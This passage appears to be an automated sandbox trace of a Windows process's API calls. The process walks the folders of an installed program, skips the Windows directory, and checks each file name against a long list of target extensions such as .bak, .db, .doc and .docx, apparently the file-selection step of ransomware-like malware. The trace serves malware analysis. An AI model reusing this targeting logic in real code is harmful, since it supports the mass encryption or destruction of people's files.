Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0183.427] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.427] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.428] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0183.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.429] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.430] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.430] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.430] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.431] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.431] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.431] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.431] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.432] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.432] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0183.432] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.433] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.434] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.434] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0183.434] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 100 [0183.434] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 1 [0183.434] lstrlenW (lpString="en-NZ") returned 5 [0183.435] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-NZ") returned -1 [0183.435] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.435] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ") returned 100 [0183.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.435] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.436] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.436] lstrlenW (lpString="index.html") returned 10 [0183.436] lstrlenW (lpString=".1cd") returned 4 [0183.436] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".3ds") returned 4 [0183.436] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".3fr") returned 4 [0183.436] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".3g2") returned 4 [0183.436] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".3gp") returned 4 [0183.436] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".7z") returned 3 [0183.436] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.436] lstrlenW (lpString=".accda") returned 6 [0183.436] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".accdb") returned 6 [0183.436] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".accdc") returned 6 [0183.436] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".accde") returned 6 [0183.436] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".accdt") returned 6 [0183.436] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".accdw") returned 6 [0183.436] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.436] lstrlenW (lpString=".adb") returned 4 [0183.436] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".adp") returned 4 [0183.436] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".ai") returned 3 [0183.436] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.436] lstrlenW (lpString=".ai3") returned 4 [0183.436] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.436] lstrlenW (lpString=".ai4") returned 4 [0183.437] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".ai5") returned 4 [0183.437] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".ai6") returned 4 [0183.437] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".ai7") returned 4 [0183.437] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".ai8") returned 4 [0183.437] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".anim") returned 5 [0183.437] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.437] lstrlenW (lpString=".arw") returned 4 [0183.437] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".as") returned 3 [0183.437] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.437] lstrlenW (lpString=".asa") returned 4 [0183.437] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".asc") returned 4 [0183.437] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".ascx") returned 5 [0183.437] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.437] lstrlenW (lpString=".asm") returned 4 [0183.437] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".asmx") returned 5 [0183.437] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.437] lstrlenW (lpString=".asp") returned 4 [0183.437] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".aspx") returned 5 [0183.437] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.437] lstrlenW (lpString=".asr") returned 4 [0183.437] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".asx") returned 4 [0183.437] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".avi") returned 4 [0183.437] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.437] lstrlenW (lpString=".avs") returned 4 [0183.437] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".backup") returned 7 [0183.438] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.438] lstrlenW (lpString=".bak") returned 4 [0183.438] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".bay") returned 4 [0183.438] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".bd") returned 3 [0183.438] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.438] lstrlenW (lpString=".bin") returned 4 [0183.438] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".bmp") returned 4 [0183.438] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".bz2") returned 4 [0183.438] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".c") returned 2 [0183.438] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.438] lstrlenW (lpString=".cdr") returned 4 [0183.438] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".cer") returned 4 [0183.438] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".cf") returned 3 [0183.438] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.438] lstrlenW (lpString=".cfc") returned 4 [0183.438] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.438] lstrlenW (lpString=".cfm") returned 4 [0183.438] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".cfml") returned 5 [0183.439] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.439] lstrlenW (lpString=".cfu") returned 4 [0183.439] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".chm") returned 4 [0183.439] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".cin") returned 4 [0183.439] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".class") returned 6 [0183.439] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.439] lstrlenW (lpString=".clx") returned 4 [0183.439] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".config") returned 7 [0183.439] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.439] lstrlenW (lpString=".cpp") returned 4 [0183.439] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".cr2") returned 4 [0183.439] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".crt") returned 4 [0183.439] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".crw") returned 4 [0183.439] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".cs") returned 3 [0183.439] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.439] lstrlenW (lpString=".css") returned 4 [0183.439] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".csv") returned 4 [0183.439] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".cub") returned 4 [0183.439] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".dae") returned 4 [0183.439] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".dat") returned 4 [0183.439] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.439] lstrlenW (lpString=".db") returned 3 [0183.440] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.440] lstrlenW (lpString=".dbf") returned 4 [0183.440] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dbx") returned 4 [0183.440] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dc3") returned 4 [0183.440] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dcm") returned 4 [0183.440] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dcr") returned 4 [0183.440] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".der") returned 4 [0183.440] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dib") returned 4 [0183.440] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dic") returned 4 [0183.440] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".dif") returned 4 [0183.440] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".divx") returned 5 [0183.440] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.440] lstrlenW (lpString=".djvu") returned 5 [0183.440] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.440] lstrlenW (lpString=".dng") returned 4 [0183.440] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".doc") returned 4 [0183.440] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.440] lstrlenW (lpString=".docm") returned 5 [0183.441] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.441] lstrlenW (lpString=".docx") returned 5 [0183.441] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.441] lstrlenW (lpString=".dot") returned 4 [0183.441] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.441] lstrlenW (lpString=".dotm") returned 5 [0183.441] lstrcmpiW (lpString1=".dotm", lpString2=".html") 